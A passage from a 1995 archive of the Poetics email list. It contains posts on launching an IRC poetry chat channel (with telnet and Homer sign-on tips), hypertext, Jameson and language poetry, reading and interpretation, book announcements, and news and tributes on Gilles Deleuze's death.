Last night, a test virtual gathering -- the first test of this space -- was undertaken as a local event.

Everything went off without a hitch. Though the turnout was less than say, your average Rolling Stones concert, and there were occasional small lags in response time, the "live" feeling, and the actual interactivity of the Net were full swing in the service of Poetics.

(We are just one of many live forums, of course. Interesting that other "live forums" occupy such different social space. There is one called "Hot Tub." There are others that are openly based on differing fetishizations of sexuality, human and otherwise. The list is endless. Having EPCLive however, is like

having our own coffee house on a street where there are no zoning restrictions. Where freedom of "circulation" has its own poetic foothold.)

The energy was intense as those of us present fired poetic statements, questions, possibilities into this shared space, the umbrella of this electronic writing environment. The possibilities for a number of simulataneous interested voices were astonishing.

Testing 1-2-3

I would like to offer, for those of you would might want to try out this space, my availability for any "test" sessions. Simply backchannel me ([redacted]) and we can set up a time (I will coordinate with Ken. Or feel free to write directly to Ken at [redacted]) Our feeling last night was that there might be some who are a little uncertain about slinging quatrains in this new medium. So my thought is, just let us know what time might be good for you. We can be there. Let's run a couple of very informal test excursions into EPCLive.

Stay Tuned

And this, of course, as a prelude to many marvellous events forthcoming in this space. ***A LIST OF EVENTS SOON TO BE POSTED!*** There will be interviews, public gatherings, questions and answers (LIVE of course) with those working on recent major poetics projects. It is my own hope to have EPCLive open for an hour weekly, in addition, so that we may, in the pure space of poetics, informally chat with each other there, talk about particular events, themes, authors. It's here. Let's extend our sense of community into this newly dedicated town hall--standing above the municipality of poetics. As public space, it's there for us all.

Respectfully submitted,
Loss Pequen~o Glazier
for Loss Glazier & Ken Sherwood
in collaboration with Ch. Bernstein

Appendix I

EPC.Live!
Directions for signing on (by Ken Sherwood):

UNIX
>From your system prompt, type:
irc <return>
Then type the following two lines:
/serv undernet.org <return>

/join #EPCLIVE <return>
(you should now be able to type and read whoever is there)

VAX

Type:
telnet telnet1.us.undernet.org 6677 <return>
Return several times and follow prompts; when asked for
which channel you want to join, choose '0'. Then type:
/serv undernet.org <return>
/join #EPCLIVE <return>
(you should now be able to type and read whoever is there)

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35. Charles Alexander
Re: Nonlinear paradigms
Fri 3 Nov 1995

I am forwarding this message from a book arts list, and, given recent discussions of hypertext here on Poetics, I am hoping someone (Jim Rosenberg or Loss Glazier or Joe Amato or John Cayley or others) may be able to point this message-sender in some helpful directions.

> *Date: Fri, 3 Nov 1995 09:25:18 -0500*
> *collecting" <[redacted]>"*
> *collecting" <[redacted]>"*
> *From: Grendel <[redacted]>*
> *Subject: Re: Nonlinear paradigms*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<[redacted]>*
>
> *Hello, I am in the process of writing a book-length creative work in hypertext form. I have been largely unsuccessful in finding suitable examples of hypertexts (electronic form please) to use as references or source material. It seems like the readers of this list are quite familiar with not only the principles of hypertext (which everyone seems to have an opinion on) but actual hypertexts, which I had come to think were very rare. (Please note that I am not interested in things like the Talmud, which may display principles of hypertext; I am interested in things which were written self-consciously as such, preferably by a single author.) Please point me toward some hypertexts.*
>
> *-Gregor Delisle*

↑ Index

36. **epc**

Re: Nonlinear paradigms

Fri 3 Nov 1995

Why don't we compile a list of very striking hypertexts (and I will send a copy to Gregor and post to this list.) I like this distinction, hypertexts consciously conceived as such. Would Jim, Joe, John, Ken, and others like to send me their recommendations back channel? I'll make a little bibliography, just ten or twelve items total, put it on the epc and also post here. You folks interested? -- Loss ----------

> *I am forwarding this message from a book arts list, and, given recent discussions of hypertext here on Poetics, I am hoping someone (Jim Rosenberg or Loss Glazier or Joe Amato or John Cayley or others) may be able to point this message-sender in some helpful directions.*
>
> *Date: Fri, 3 Nov 1995 09:25:18 -0500*
> *collecting" <[redacted]>"*
> *collecting" <[redacted]>"*
> *From: Grendel <[redacted]>*
> *Subject: Re: Nonlinear paradigms*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<[redacted]>*
>
> *Hello, I am in the process of writing a book-length creative work in hypertext form. I have been largely unsuccessful in finding suitable examples of hypertexts (electronic form please) to use as references or source material. It seems like the readers of this list are quite familiar with not only the principles of hypertext (which everyone seems to have an opinion on) but actual hypertexts, which I had come to think were very rare. (Please note that I am not interested in things like the Talmud, which may display principles of hypertext; I am interested in things which were written self-consciously as such, preferably by a single author.) Please point me toward some hypertexts.*
>
> *-Gregor Delisle*

↑ Index

37. Joseph Zitt

Wilmington, Hardcopy, and Chainsaw Flamingoes

Fri 3 Nov 1995

I've just plowed through about 1.5 Meg of stacked up Poetics posts. *Whew*! A few things popped out (aside from the general fascinatingness of the conversation when viewed in a more compact mode):

Ron Silliman asks whether amy poets have ever lived in Wilmington. Assuming you mean Delaware, errrrr, yeah. I was there for five months last year -- and the damn city was so stifling that I fled back to Texas. The state of Delaware is designed and run BY business FOR business, and the fact that there are *residents* seems to be viewed as, at most, a minor detail. The only arts there are those which businesses like to contribute to; thus there is an opera company, ballet, Broadway-like theatre, and very close to absolutely nothing on a grassroots level. (The one exception was a very good community-based dance/theatre piece that Liz Lerman did in a church downtown.) When I described my arts activities in Texas to my coworkers, they asked if that's what people do when they have too much time on their hands. The only poetry in the state, it seems, was a once-a-month slam in Claymont. (To compound the disaster of the entire experience, the "friend" who I trusted to help finish my move (since I didn't have a chance to finish packing), quickly disappeared, along with my VCRs, my microwave, my collection of about 500 CDs, and my guitar... but i can't necessarily blame him on Delaware, since he lived in Philadelphia.)

Reading the talk of writing in the margins of books and hypertext, I got to wonder if any libraries anywhere had a section of their collection in which the readers were *encouraged* to write in the margins, as a form of community conversation. Probably an old idea, but fun to consider.

I also wonder who would be stuck with the damage bill if someone on whose lawn a flock of flamingoes (flamingos? flamingi? Mr Quayle?) was inflicted would humorlessly take a chainsaw to them. (Well, odds are the flamingim (?) would no longer be stuck to *their* bills..) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

38. Robert Drake
Re: signs taken for wonders
Fri 3 Nov 1995

> *My own wonder was always elicited by that other crossing icon, the striding profile pedestrian that appears on signs beside the road -- some of these symbolic pedestrians seem to be missing hands and feet, which has always caused me to take them more as a warning to walkers than to drivers --*

which reminds me of the ped crossing signs i saw in saudi arabia many years ago, which were headless. the reason being, a muslim taboo on representation of human form (an act reserved for allah); but doubly visioned fr me, 14 years old, being exposed to a culture that still practiced capital punishment by public decapitation...

lbd

↑ Index

39. Loss Glazier
Poetics Log Files
Fri 3 Nov 1995

Poetics log files through Oct. 1995 are now available via the EPC. I have divided recent log files into two sections due to their large size. You may still need to leave and re-enter your browser each time you wish to view one. (They are *big*!)

↑ Index

40. Thomas Bell
Re: hypertextual understanding
Fri 3 Nov 1995

---

spring,

i think that there is a great deal of significance in what

you are saying - i don't think it is a gender issure - however

i would not call it technological anxiety but rather anxiety

technological - anxiety leads to the resort to technologies

as a way of coping with the anxieties of the times - the

difficulty arises when technol;ogy is used to avoid the

feelings rather than express or make them meningful.

Tom

spring writes:

> *who you gonna bomb hum bomb*
>
> *i think about technological anxiety and autism - a shutting off*

...

> *feel hostility towards others -*
>
> *I hate this reaction - don't understand whether i bring my own*
>
> *bad mood to the screen, or whether i want talk about poetry to*
>
> *mean more. or whether*

↑ Index

41. Loss Glazier

Poetics Log File -- a note

Fri 3 Nov 1995

For those who have asked, the log file for January 1994 has been rebuilt (there were some portions of it missing) and is now available and complete.

> *Poetics log files through Oct. 1995 are now available via the EPC.*
> *I have divided recent log files into two sections due to their large*
> *size. You may still need to leave and re-enter your browser each time*
> *you wish to view one. (They are *big*!)*

↑ Index

42. Patrick Phillips

Re: do know but?

Sat 4 Nov 1995

Tenney and Chris and others, my hope in "Re:dunno but" was to point to a knot. Irony, a rhetorical mode, is at once bound by rhetoric and, in Rae Armantrout and others, rejects it. Irony is used in a kind of exchange that is intent on questioning that process of exchange, but also is bound by the frame of its argument argument as a self-satisfying and in some ways unquestioning thing -- word as both liberatory and vain.

But this is not a clear examination of exchange-value vs use-value. I do want to see rhetoric as an instance of self-satisfaction that can be likened to the moment use-value is made distinct from exchange-value. Word as vehicle for argument, argument as commodity. But in Armantrout's work I see rhetoric's bag turned inside out. Language is de-privatized, made social, all-the-while moving in the contour of thought, ear, the personal. The personal as social - exchange as indistinct from use.

In many ways this is a vital mode of lang-po. But it is also a marker of a problem poetries that are particularly liberatory. In many ways we are hemmed in when we go out to use. The liberatory moment of language is in many ways kept - an irony. By not capitulating to rhetoric, poetry that persists in calling out the social allows the word to persist - we tactically use. Rhetoric introduces exchange value. In this I want to reject rhetoric in-as-much as I would like to reject form. Perhaps an impossibility.

As to mention/exchange and the Searle/Derrida thing, Tenney I'd like to know more about it.

I can only assume, perhaps wrongly, that some of the "exchange" can be collapsed into Derrida's notion of gift. That at the moment of exchange, before the pact is set, before the hands part, there is evidence of the impossible. I sense this "impossible" too as an extrapolation from the intent of the gift. The exchange here only being a before- and after-image of the flash of the impossible. Bah, Counterfiet money. I would guess "mention" takes up a similar space, and inter-spoken space, kind of like Barthes hiatus. I think the fabrication of these spaces a post-structuralist dance of desire and that use super-imposes itself upon such spaces - or, it's better that we go out into the social, and take our licks.

Chris, I don't think Rae has a poem about that sign. She just mentioned it in the course of her reading.

↑ Index

43. Steve Carll

Re: signs taken for wonders

Sat 4 Nov 1995

>Aldon -
>
>>In any event -- part of the confusion seems to arise from people assuming
>>that because there are an infinite number of possible interpretations,
>>any interpretation can be "valid." I don't know of anybody who makes
>>that claim seriously (which does not mean that such people don't exist.)
>
Tom Beard:

> *Most of my high school English teachers claimed this, saying that "everyone has their own truth, each of which is equally valid". I don't know if they learnt this through some form of theory, or whether it is part of the Zeitgeist that grew up along with the theory.*

Gilles Deleuze points out, in both _The Fold_ and _What Is Philosophy?_ (probably elsewhere as well), that what the partial observer in Einstein

represents is "not a relativity of truth [which is what Tom's teachers claimed], but, on the contrary, a truth of the relative." This is elaborated on in terms of Deleuze's interpretation of monads, each of which, he says, "express the entire world, but only clearly express one particular area."

> *There was also a controversy here recently when the Museum of NZ had an exhibit ("Voices", I think) portraying the origins of NZ, and the "voice of the Maori" was presented alongside the "voice of science" as equally valid thruths about the origin of the earth and its landforms. This seemed akin to the Southern state (Alabama? Tennessee?) that decreed in the 80s that "Creation Science" had to be taught alongside evolution in classrooms.*

There seems to be a difference in the mode of presentation here, though, in that "the voice of the Maori" doesn't present itself as science but myth, with a mythical truth that IS as valid in the realm of myth as the voice of science is in the realm of science. What creation science wants to do is to present mythical truths AS scientific ones; and further, as BETTER scientific truths than evolution attains to.

> *Anyway, it seems that the distinction between "response" and "interpretation" is vital here. There is no such thing as an "invalid" response - to claim so would be nonsense. When a reader/perceiver projects that response back upon the text and attempts to draw conclusions about it, then questions of (in)validity come into play.*
>
> *As a very crude example, I might read a poem as making a comparison between an apple and a lightbulb, and I might be struck by this image. This response cannot be judged as valid or otherwise. If, however, I then interpret the poem as meaning that apples & lightbulbs share the property of edibility, I might be in for a painful demonstration of the invalidity of this interpretation.*

Yes, if you were to interpret the poem as saying that apples and lightbulbs share the property of edibility *outside the frame of the poem.* Within that frame, the distinction between a response and an interpretation (which would seem to me to always begin at the response--correct me if I've neglected something--) is much blurrier.

> *But seriously, as you say, _both_ extremes (_I'm_ right & _you're_ wrong; vs. well, we're all right in our own ways, aren't we?) will end the conversation. Perhaps we need some sort of Popperian approach to interpretation: each viewpoint is tentative & cannot be proven, but should be open to falsification if it is to be considered. This might keep the dialogue open.*

This makes good sense.

↑ Index

44. Eryque Gleason
Transbluesency
Sat 4 Nov 1995

Just picked this up off the new titles rack at 57th St. Books...

Transbluesency: The Selected...Amiri Baraka 1961-1995

272 pages for eighteen bucks, starts with "Preface to a Twenty Volume Suicide Note" and ends with "Wise, Why's, Y'z"

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems.

↑ Index

45. ULMER SPRING
Re: hypertextual understanding
Sun 5 Nov 1995

Excellent, Tom. Yes. I agree. Thank you!
Spring

↑ Index

46. William M. Northcutt
Jameson...
Sun 5 Nov 1995

Been doing a lower GI recently on Jameson's Marxism and Form--for the first time--and I came across an interesting section in which he praises the ideals behind Surrealism, even if he finds the ideals much more interesting than the content. And on the other hand, he rips Perelman's China, in Postmodernism. Jameson says in Marxism and Form, to paraphrase, that since the world has been fragmented by commodification, the sort of fragmentary of the 20s can't work today.

At least that's his explanation in Marxism and Form, and I suppose that's what he's thinking when he calls Perelman's work "schizophrenic" in Postmodernism.

As I've read through Marxism and Form, I thought of Charles B's "...and the Artifice of Absorbtion," and it occured to me that perhaps Jameson is hung up terribly on "use value" in a very literal way.

I've read only one rebuttal of Jameson's theories about language poetry, but I'm interested in what some of you who are familiar with Jameson think about his particular stance on the "new" poetry.

Wm Northcutt

--- --- "If you want to get laid, go to college. But if you want an education, go to the library." --Frank Zappa

"Damn, these onion rings make my tongue bleed." --Ukelele Dave

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↑ Index

47. Yunte Huang, your Comrade

Re: Jameson...

Sun 5 Nov 1995

I'm not too familiar with Jameson's particular stance about "new" poetry, but I once heard him making some judgment about Amwrican "new" poetry in relation to another poetry culture, which I think might be helpful to understanding his real take if he has one.

Two years ago I translated a collection of American Lang. poems into Chinese, and managed to take two of the poets across the P Ocean for some real Chinese food (see our report in the current issue of _Central Park_). We met Jameson in Beijing when we were holding a discussion with some Chinese poets, critics and scholars. I can't remember if Jameson said anything particular about Lang poetry because I was busy translating for everyone (I still have dreams about the content of that meeting which I will never be able to recuperate). But at the dinner table, Jamson (Jameson, typo) said to me over the wine glasses and chicken feet dishes: " In China, this kind of poetry you've just translated will only be liked by hooligan poets." By "hooligan," in the ci By "hooligan," in the context, I think he meant "bohemia," referring to a group of young and rebellious Chinese poets and artists who are doubly marginalized: first by the Communist establishment and official verse culture, second by the first generation of anti-commu and "humanitarian" poetry which is now well represented in the West (such as Bei dao's). But as a Chinese who might loosely belong to the category of "hooligans," I don't see Jameson's comment as correct. First, his categorization of that group of Chinese poets as Hooligans is questionable; it might indicate his take on American poets (?). Secondly, in terms of what kind of poetry will be liked or not liked by Chinese, it's not just a

matter of the nature of the kind of poetry, it has a lot more to do with the imperialist power of American culture (including poetry) and the change of cultural environment in China (structure of feelings?). Well, this is too vague, but I don't want to dig into the details here since it's already a digression. But I hope the jamesonian anecdote might be helpful. Long live hooligans! --Yunte Huang

↑ Index

48. Rae Armantrout

Re: dunno, but

Sun 5 Nov 1995

Dear Pat,

Hi, the poem Chris was referring to is "Visibility" in MADE TO SEEM. I refer indirectly to the infamous sign in the last section of that. Oh, and thanks for your book. I probably won't be able to read it until Winter break so more anon

Dear Wm Northcutt,

I've written an essay which is partly about Jameson and his attack on Perelman. It's called "Irony And Postmodern Poetry." It hasn't been published yet, but I think it will be.

Yours,

Rae Armantrout

↑ Index

49. Patrick Phillips

Re: Jameson...

Sun 5 Nov 1995

There are other treatments of this "now notorious essay" as George Hartley put it, but you may want to see his "Jameson's Perelman" in _Textual Politics and the Language Poets_ for a post-Lacanian interpretation. In a nut-shell, Hartley contrasts J.'s schizophrenia analogy with the position that Perelman is suggesting, among other things, that "there are alternative ways of structuring (constituting) our experiences. Such alternatives "foreground" our social relations, not reify them.

↑ Index

50. James Banton Rolins
Re: POETICS Digest - 30 Oct 1995 to 31 Oct 1995
Sun 5 Nov 1995

Does anyone have an email address for info about the Orono conference? Please post it if yes. Many thanks.

Bart

↑ Index

51. Beth Russell
gory story
Sun 5 Nov 1995

Dear poetics folks,
this may seem strange however it really
happened today on sunday november fifth 95
and i dont know if anyone will care, but i'm sure
you will be sensitive to this. outside of my window
at about eleven thirty in the am i witnesses a
sorry, that was "i witnessed" a
rotweiler (sp?) rip to shreds a fluffy white
dog, about the same size as the violent beast--
went right for the jugular and wouldnt let go
i ran to the phone, called 911, called my local
division police--panicked, didnt know what the hell
to do. the owner of the white fluffy dog being ripped
apart at the neck was an older lady (seemed very
mild mannered) she didnt know how to get the
"rot" off of her dog. the owner of the "rot"
was banging the rot w/a chair, didnt apparently
know how get the teeth off of fluffy. neighbors
came to the street, staring in horrific amazement
what to do what to do..i was angry..i ran out
into the street and yelled at the owner of the
rot and said "you should know that those dogs
have been known to kill people and other
animals, its fucked up!" he didn;t make
eye contact with me. blood running down the public
sewer hole. fluffy's snout poking out from a
back in his yard. animal control van
takes him away. fluffy is gone.
this was kurtz's horror right in front of

my very eyes. this was carnage in the
street. this was horror.
violence seeming to _breed_ violenzia.

beth russell

↑ Index

52. Charles Bernstein
Giles Deleuze 1925-1995
Sun 5 Nov 1995

Date: Sun, 05 Nov 1995 22:55:44 -0500
From: Ben Friedlander <[redacted]>
Subject: Deleuze

Sad news--

> *Group clari.living.books*
> *article 2255*
>
> *PARIS (AP) -- Prominent French philosopher, writer and university professor Gilles Deleuze committed suicide by leaping from the window of his Paris apartment, his family said Sunday.*
> *Deleuze, whom French philosopher Michel Foucault once called ``the only philosophical mind in France,'' died Saturday. He was 70.*
> *The author of one of the world's best selling philosophy books, ``The Anti-Oedipus,'' had suffered for years from a serious respiratory illness and recently underwent a tracheotomy.*
> *Deleuze was born in 1925 into a conservative Paris family, but spent his life as a leftist and considered himself almost militantly so. He became a familiar figure in the city's bohemian Latin Quarter, his trademark felt hat cocked at a rakish angle.*
> *Deleuze began his academic life in 1955 as a teaching assistant at the Sorbonne and taught later at the university at Vincennes, retiring in 1987.*
> *In 1972, he and longtime friend Felix Guattari published ``The Anti-Oedipus,'' a scathing look at the concepts and ``schizo-analysis'' of Sigmund Freud and Melanie Klein.*
> *In 1993, he published ``Critic and Clinic,'' in which he explored the works of Herman Melville and Lewis Carroll, among others.*
> *Throughout his long career, Deleuze refused to appear on television, but he agreed earlier this year to develop a philosophy-oriented program for France's arts-oriented Arte channel.*
> *Details on Deleuze's survivors were not immediately available.*

↑ Index

53. Aldon L. Nielsen
Re: bulbous
Sun 5 Nov 1995

Just back from my week-end with Saint Barb, and reading posts accumulated -- absolutely agree with last paragraph of Tom Beard's reposnse to my last response -- but confused again by distinction there betwixt response and interpretation -- reading a poem as being about light bulbs certainly strikes me as an act of interpretation -- one with particular currency in my Department -- recent MA exam candidate read Robert Lowell's "La Lumiere" as being a poem about the invention of the light bulb --

Which, for me, is where the importance of your last paragraph comes in -- I think it is possible to have an illuminating (sorry!) discussion about how that response arises and what it is in the poem that makes me want to reject that response -- what is required of both in the discussion is a willingness to examine our readings, our ideologies, our aesthetics,,, and how we go about locating ourselves in relationship to the text we're both reading -- validity doesn't hover ober the text or in the text,,,, we make intepretations valid as a social act encompassing ourselves, the texts, and other readers --

↑ Index

54. Alan Sondheim
Re: gory story
Mon 6 Nov 1995

And Deleuze died yesterday, throwing himself from a window.

Alan

↑ Index

55. Kevin Killian
Re: EPC.Live
Mon 6 Nov 1995

Dear Loss & Ken,

For Mac users, can't we just use the program Homer (rather than using telnet) and get on the undernet to join channel EPCLIVE?

Dodie Bellamy

> *EPCLIVE*
> *Directions for signing on (by Ken Sherwood):*
>
> *UNIX*

> *From your system prompt, type:*
> *irc <return>*
> *Then type the following two lines:*
> */serv undernet.org <return>*
> */join #EPCLIVE <return>*
> *(you should now be able to type and read whoever is there)*
>
> *VAX*
>
> *Type:*
> *telnet telnet1.us.undernet.org 6677 <return>*
> *Return several times and follow prompts; when asked for*
> *which channel you want to join, choose '0'. Then type:*
> */serv undernet.org <return>*
> */join #EPCLIVE <return>*
> *(you should now be able to type and read whoever is there)*
>
> ---

↑ Index

56. Pierre Joris
Final deterritorialization
Mon 6 Nov 1995

>
>Subject: Deleuze is dead
>Sent: 11/05 1:31 PM
>From: Melissa McMahon, [redacted]
>To: [redacted]
>
>Tonight it was announced on French radio that Deleuze has committed suicide
>(one report said that he 's'est defenestre').
>
>

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

==========
==========

↑ Index

57. **Eryque Gleason**
Re: EPC.Live
Mon 6 Nov 1995

---

dear dodie,

being a mac user, can you tell me what homer is and where i can get it?

eryque

_____!_____
Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd
71 E. 32nd St. Box 949 be problems.
Chicago, IL 60616
[redacted]

↑ Index

58. **William M. Northcutt**
Re: Jameson...
Mon 6 Nov 1995

Many thanks to Rae, Patrick, Juliana, and to Junte Huang--yes, long live the hooligans!

My problem with Jameson is that I agree with him in the big picture, but I think he wraps himself up in a literalism that clashes with his admiration for Benjamin and Adorno. It seems to me that there's some anti-intellectualism underneath it--puritanism or just Lukacs?

At any rate, thanks for the responses. William

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↑ Index

59. Edward Foster

new terrific talisman book

Mon 6 Nov 1995

NEW ARRIVAL!

SIMON PETTET'S _SELECTED POEMS_ from talisman house, for $9.95

in the terrific bookstores now or soon, or from INBOOK or SPD

↑ Index

60. Aldon L. Nielsen

Re: Transbluesency Express

Mon 6 Nov 1995

If these last minute phone calls I'm getting work out, I'll be in New York over the week-end for a retrospective program on Baraka and his work at the Schomburg Library.

Whether I'm there or not, y"all New Yorkers should know that this program goes on Friday & Saturday with readings, interviews etc. -- If I make it, I'm to conduct a discussion with Baraka and the audience about fiction from 2:00 to 4:00 on Friday --

Don't know where I'm staying yet, but will try to post that info. in case anybody wants to try to meet for breakfast sunday or maybe get together Sat. night --

↑ Index

61. Charles Alexander

Items of Interest on the ABAA-booknet Web Server

Mon 6 Nov 1995

I'm forwarding this from a book arts list, just that the first item listed may be of interest to any Charles Olson scholars.

charles alexander

> *http://www.abaa-booknet.com/*
>
> *WHAT'S NEW ON THE ABAA-booknet SERVER?*
>
> *Here are recent changes or updates that you may not have seen. Offerings by various ABAA members are "hot-linked" directly to their ABAA-booknet home page.*
>
> *----------*
>
> *TEN POUND ISLAND BOOK CO. (11/4/95)*
>
> > *Ten Pound Island Book Co. of Gloucester, MA announces Maritime List 100, a special catalog of old, scarce and out-of-print maritime books with many exceptional 18th and early 19th century titles to mark this, their one hundreth list in eighteen years of operation.*
>
> *----------*

↑ Index

62. cris cheek

the pusher

Mon 6 Nov 1995

SOUND & LANGUAGE present:- rhythm, language, sound and light

s l a n t

CRIS CHEEK PHILIP JECK

SIANED JONES JON WILKINSON
sonic glimpses from their forthcoming CD 'mono lake'
'a beautiful sweet and sour chaos'
~
guest drummer / percussionist
NICK MURCOTT
who featured on 'the canning town chronicle . . .' CD
~
CAROLINE BERGVAL
and KAFFE MATHEWS
live text-sound 'Don't push it'
~
premier screening of ROS MORTIMER'S film
''BLOOD SPORTS FOR GIRLS'
~
balcony film installation
TIM FLITCROFT
all at

THE UNION CHAPEL
Compton Ave

Islington London N1 23D

Box Office 01712261686
(nearest tube - Highbury & Islington)

Friday 10th Nov 8.00pm in the studio
Tickets. £7 (£5 concs)

↑ Index

63. Kevin Killian
Re: EPC.Live
Mon 6 Nov 1995

Eryque Gleason wrote:

> *being a mac user, can you tell me what homer is and where i can get it?*

Homer is a program that allows you access to the IRC, the internet live chat channels. Homer has a lot of neat features, including sound and color. The undernet is sort of an alternate IRC, smaller, but basically the same as the large one. You sign on to it in Homer using an undernet server, such as:

davis.ca.us.undernet.org

sanjose.ca.us.undernet.org

There are other servers too. Homer is available from many ftp sites. I did a search for it on Anarchie, and this is what I found.

Dodie

<ftp://bobby-sands.llc.org//pub/ClicNet/Mac/homer-094.hqx> <ftp://wuarchive.wustl.edu//systems/mac/info-mac/comm/tcp/homer-094.hqx> <ftp://wuarchive.wustl.edu//systems/mac/info-mac/Old/rec/homer-094.hqx> <ftp://castor.iro.umontreal.ca//externe/macintosh/Applications_Internet/homer-094.hqx> <ftp://ftp.sunet.se//pub/mac/info-mac/comm/tcp/homer-094.hqx> <ftp://drjones.next.com.au//Macintosh/Internet_Tools/homer-094.hqx> <ftp://metten.fenk.wau.nl//pub/mac/info-mac/comm/tcp/homer-094.hqx> <ftp://nic.switch.ch//mirror/info-mac/comm/tcp/homer-094.hqx> <ftp://plaza.aarnet.edu.au//micros/mac/info-mac/comm/tcp/homer-094.hqx> <ftp://akiu.gw.tohoku.ac.jp//mirror/info-mac/rec/homer-094.hqx> <ftp://sics.se//mirror/info-mac/comm/tcp/homer-094.hqx>

↑ Index

64. Eryque Gleason

Re: EPC.Live

Mon 6 Nov 1995

gravy, thanks dodie

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems.

↑ Index

65. Chris Stroffolino

Re: do know but?

Mon 6 Nov 1995

Dear Pat Phillips--thanks for elaborating on your poetics-- but what are these non lang-po "problem poetries that are particularly liberatory"? I am curious if you might want to be more specific. Feel free to backchannel. Chris S.

↑ Index

66. Loss Glazier
EPC.Live
Mon 6 Nov 1995

> *For Mac users, can't we just use the program Homer (rather than using telnet) and get on the undernet to join channel EPCLIVE?*

Dodie, Did you try this and it works? If so, we will go ahead and append this to our instructions ...

Thanks!
Loss

↑ Index

67. Charles Alexander
Re: Giles Deleuze 1925-1995
Mon 6 Nov 1995

This from Jack Sinclair, and containing his message which came to him from Melissa McMahon, appeared on the book arts list in response to my forwarding the note there about Deleuze's death.

charles alexander

>My introduction to Deleuze was in a critical theory class trying to
>ascend A Thousand Plateaus, co authored by Felix Guattari. Interestingly *the
>book*, was likened to a record in that we were told there would be parts that
>we would like or understand and might repeatedly return to, while other parts
>we would want to skip over and completely ignore. Forever. Thinking back it
was
>sort of a hypertext use of the book. Anyway, it was noted in the forward by
>translator Brian Massumi that Deleuze felt that as artists we are all
>philosophical thinkers to the extent that we explore the potentials of our
>respective mediums and break away from the beaten paths. Ideas that
certainly
>coincided with his concept of nomadic thought, and, seem to be just as
>relevant today in our ongoing discussions of the future of *the book*.
>
>As a follow up to Charles' post regarding the suicide of Deleuze I offer
>the following which was forwarded to me. For those of you that find this off
>topic I would only suggest that you read *the book*.
>
>Date: Mon, 06 Nov 1995 10:36:38 +0100
>From: Melissa McMahon <[redacted]>
>

>Below is a translation (rapidly, stutteringly done this morning) of a piece
>included in the issue of _Philosophie_ dedicated to Deleuze. Obituaries
>give me the horrors a bit - something _fatal_ about them, like wanting to
>end death, or silence it with endless words. This, importantly, was written
>before his death, thus is not an obituary, and has a taste for the
>singularities (rather than molar categories) and the power of the false
>(rather than that of 'summing up') that are so lacking in the newspaper
>articles...
>
>SUIDAS
>Andre Bernold
>_Philosophie_ no.47, September 1995 (issue dedicated to Deleuze)
>
>_Deleuze_, philosopher, son of Diogenes and Hypatia, spent time in Lyon.
>Nothing is known of his life. He lived to a very old age, even though he was
>often very sick. He illustrated what he himself said: that there are lives
>where difficulties approach the extraordinary. He defined as active all force
>which goes to the limit of its power. This is, he said, the opposite of the
>law. It is thus that he lived, going always further that he would have
>thought possible. Although he explained Chryssippus, it is above all his
>constancy which makes him worthy of the name Stoic.
>
>He was one of the most remarkable orators of his time, and the greatest of
>those who made it their profession to teach philosophy. He was only
>understood by a few. He was persecuted; the object of a jealousy which never
>disarmed him. He despised these miseryguts, because of the joy of his life,
>which was to philosophise.
>
>Of a lofty temperament, he tolerated only the people. But formidable was his
>irony. His voice was one of the most extraordinary. Athena compared it to a
>grater, then to a torrent of pebbles. His elocution was of an extreme
>distinction, a little tired, his diction slow and sweet. Appollodorus
>compares his voice to that of a wizard. He was a man of perfect nobility,
>who had a horror of all that belittled.
>
>He wrote much, perhaps more than anyone, when one considers the density
>of his works. While he treated amply the subjects of logic and morality, he
>must be placed among the ranks of physicists, indeed among the first
>rank. He left behind him an _Of Nature_, that Stobee ranked with those of
>Heraclitus and Lucretius, relating an oracle: in a very distant future,
>nothing so great will have appeared, if not a certain _Ethics_, which is not
>Aristotle's.

>
>He said that three anecdotes are enough: the place, the time and the
>element. His own place found him towards the east. As for the time, it is
>that of the deepest twilight: for there is much terror in his books. Even
>the sky suffers of its cardinal points and constellations, he says. As for
>the element, we can permit ourselves to hesitate, for he speaks of all of
>them with a rare splendour. He passionately loves the earth; Aratos says
>that he was a troglodyte. He celebrates the hairy lines of the waters, and
>fire, according to him, is soluble. His element however is aerial,
>overhanging, suspense, and profound fall.
>
>He was also a doctor, the last to treat medicine as an art. We can cite two
>books on monsters, two on wounds and the most famous, on the oedema of
the
feet.
>
>We read in Aristoxena his _Treaty of the Refrain_, whose boldness is extreme.
>One can also find _De linea_, and _Of sublime images_.
>
>Proclus copies out a very obscure passage on "the Virgin, the one who was
>never lived, beyond the lover and beyond the mother, coexisting with the
>one and contemporary with the other." In the same place, he says that all
>reminiscence is erotic. Strabo maintains that he was an astonishing
>"geologist". With Felix, he composed, besides _Against oedema_, which also
>contains a _Politics_ and a _Geography_ of which it is said that never
>have such mad ones been seen: _On strata_, which also contains a _Strategy_.
>This latter seems never to have been understood by anybody, among
>philosophical circles.
>
>In geometry, he discovered the pulsation of spirals. He professed that the
>love of children for their mother repeats other loves of adults, in regard
>to other women.
>
>There was a multitude of other Deleuzes.
>
>Here is a list of his works: _Of the event_, in 34 books. _Of the
>constellations which run through us_. _Of the impassibility of
>incorporeals_. _On the wounds received while sleeping_. _Symptoms_. _On the
>jump of demons_. _Of tubercules_. _Of the noble man_. _On the ugliness of the
>human face_. _Of idiots_. _Of the invisible witnesses_. _The Prince of
>philosophers_. _On degrees_. _Of the three testaments_. _The Galician_, or
> _Of cold_, or _Of cruelty_. _Of larvae_. _Of the Idea which watches us_.

>_Misosophy_. _Of the egg_. _Of the clear and obscure_. _Of the universal
>spider_. _That allintensity is tearing_. _Of the sardine_. _On the question
>"who?"_. _Of the orgy_. _Of nobody_. _On universal foundering (effondrement)_.
>_Eulogy of Lucretius_. _Of viscera_. _Of complication_. _Resume of twists_.
>_That it is better to not explain oneself too much_. _Of the singularities
